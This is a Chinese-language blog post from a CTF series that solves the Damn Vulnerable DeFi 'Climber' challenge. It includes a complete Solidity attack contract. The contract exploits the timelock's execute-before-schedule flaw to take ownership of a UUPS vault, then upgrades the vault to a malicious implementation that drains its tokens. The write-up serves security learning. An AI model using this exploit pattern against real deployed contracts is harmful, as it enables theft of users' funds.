iT邦幫忙

2024 iThome 鐵人賽

DAY 15
0
Security

我也想成爲好駭客系列 第 15

Day 15 - Climber_欸你看山羌欸

  • 分享至 

  • xImage
  •  
There’s a secure vault contract guarding 10 million DVT tokens. The vault is upgradeable, following the UUPS pattern.

The owner of the vault is a timelock contract. It can withdraw a limited amount of tokens every 15 days.

On the vault there’s an additional role with powers to sweep all tokens in case of an emergency.

On the timelock, only an account with a “Proposer” role can schedule actions that can be executed 1 hour later.

You must rescue all tokens from the vault and deposit them into the designated recovery account.

Analyze WTF

這題有多個合約
ls

但是經過觀察以後我們可以找到 ClimberVault.sol 是其中的關鍵合約,我們還可以在其中找到幾個很可能可以把 DVT 轉走的 function,分別是:

  1. withdraw
  2. sweepFunds
  3. 題目中提到的 UUPS pattern,在這題中運用到了 upgradeToAndCall

其中 withdraw 不能修改題目中提到的時間鎖定,然後 sweepFunds中有沒辦法修改的 onlySweeper,所以也沒有什麼用,所以在場唯一的希望就只剩 upgradeToAndCall

接著我們來研究一下時間鎖,所以我們可以把目光聚集在 ClimberTimelock.sol
在合約的構造函數中,ClimberTimelock 給自己授予了 ADMIN_ROLE 權限 (_grantRole(ADMIN_ROLE, address(this));),這意味着該合約本身可以進行權限調整

合約中的 execute 函數依賴於 getOperationState 來檢查操作是否準備好執行,所以這裡也是我們可以嘗試

接著就是嘗試來讓我們的攻擊合約動起來

Solve WTF

整理完上面的資訊以後,我們就可以寫出一個攻擊合約

contract ClimberAttack {
    ClimberTimelock public timelock;
    ClimberVault public vault;
    DamnValuableToken public token;
    address public recovery;

    address[] public targets;
    uint256[] public values;
    bytes[] public dataElements;
    bytes32 public salt = bytes32(0);

    constructor(
        ClimberVault _vault,
        ClimberTimelock _timelock,
        DamnValuableToken _token,
        address _recovery
    ) {
        vault = _vault;
        timelock = _timelock;
        token = _token;
        recovery = _recovery;
    }

    function executeAttack() external {
        uint256 actions = 4;
        targets = new address[](actions);
        values = new uint256[](actions);
        dataElements = new bytes[](actions);

        // 1. Update timelock delay to 0
        targets[0] = address(timelock);
        values[0] = 0;
        dataElements[0] = abi.encodeWithSignature("updateDelay(uint64)", uint64(0));

        // 2. Transfer vault ownership to this contract
        targets[1] = address(vault);
        values[1] = 0;
        dataElements[1] = abi.encodeWithSignature("transferOwnership(address)", address(this));

        // 3. Grant PROPOSER_ROLE to this contract in timelock
        targets[2] = address(timelock);
        values[2] = 0;
        dataElements[2] = abi.encodeWithSignature("grantRole(bytes32,address)", PROPOSER_ROLE, address(this));

        // 4. Schedule the operations (calls the doSchedule function in this contract)
        targets[3] = address(this);
        values[3] = 0;
        dataElements[3] = abi.encodeWithSignature("doSchedule()");

        // Execute the queued operations
        timelock.execute(targets, values, dataElements, salt);

        // Now that this contract owns the vault, upgrade the vault to a malicious version and drain tokens
        vault.upgradeToAndCall(
            address(this),
            abi.encodeWithSignature("transferTokens(address,address)", address(token), recovery)
        );
    }

    function doSchedule() external {
        // Schedule the same operations to bypass the timelock
        timelock.schedule(targets, values, dataElements, salt);
    }

    // Malicious implementation that drains tokens
    function transferTokens(address tokenAddress, address recipient) external {
        DamnValuableToken(tokenAddress).transfer(recipient, DamnValuableToken(tokenAddress).balanceOf(address(this)));
    }

    // Required by UUPS pattern to make the contract upgradable
    function proxiableUUID() public pure returns (bytes32) {
        return 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    }
}
function test_climber() public checkSolvedByPlayer {
    // 部署整合過的 ClimberAttack 合約
    ClimberAttack climberAttack = new ClimberAttack(vault, timelock, token, recovery);
    
    // 執行攻擊
    climberAttack.executeAttack();
}

pass

每日梗圖(1/1)
https://ithelp.ithome.com.tw/upload/images/20240929/20163009TurBzZP8q0.jpg


上一篇
Day 14 - Backdoor_欸藏後門不揪
下一篇
Day 16 - Wallet Mining_哭啊礦工
系列文
我也想成爲好駭客30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言